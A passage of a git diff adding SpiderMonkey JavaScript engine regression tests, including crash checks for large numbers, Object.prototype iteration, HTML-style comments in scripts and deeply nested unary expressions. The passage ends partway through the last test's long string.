+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+ 1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310295.js b/js/src/tests/non262/regress/regress-310295.js
new file mode 100644
index 0000000000..1e0aaacc4c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310295.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310295;
+var summary = 'Do not crash on JS_ValueToString';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var tmp = 23948730458647527874392837439299837412374859487593;
+
+tmp = new Number(tmp);
+tmp = tmp.valueOf()
+ tmp = String(tmp);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310607.js b/js/src/tests/non262/regress/regress-310607.js
new file mode 100644
index 0000000000..13d2449ff0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310607.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310607;
+var summary = 'Do not crash iterating over Object.prototype';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = new Foo();
+f.go("bar");
+
+function Foo() {
+ this.go = function(prototype) {
+ printStatus("Start");
+ for(var i in Object.prototype) {
+ printStatus("Here");
+ eval("5+4");
+ }
+ printStatus("End");
+ };
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-310993.js b/js/src/tests/non262/regress/regress-310993.js
new file mode 100644
index 0000000000..da98bb80be
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-310993.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 310993;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo';
+
+if (false) <!-- dumbdonkey -->
+ actual = 'bar';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-311071.js b/js/src/tests/non262/regress/regress-311071.js
new file mode 100644
index 0000000000..b563f71636
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311071.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311071;
+var summary = 'treat &lt;! as the start of a comment to end of line';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'foo';
+actual = 'foo'; <!-- comment hack -->; actual = 'bar';
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-311157-01.js b/js/src/tests/non262/regress/regress-311157-01.js
new file mode 100644
index 0000000000..8c0e074054
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311157-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <!-- duh -->\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-311157-02.js b/js/src/tests/non262/regress/regress-311157-02.js
new file mode 100644
index 0000000000..e84f031597
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311157-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <![CDATA[ duh ]]>\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-311629.js b/js/src/tests/non262/regress/regress-311629.js
new file mode 100644
index 0000000000..6a4250445e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-311629.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311629;
+var summary = 'Prevent recursive death in UnaryExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 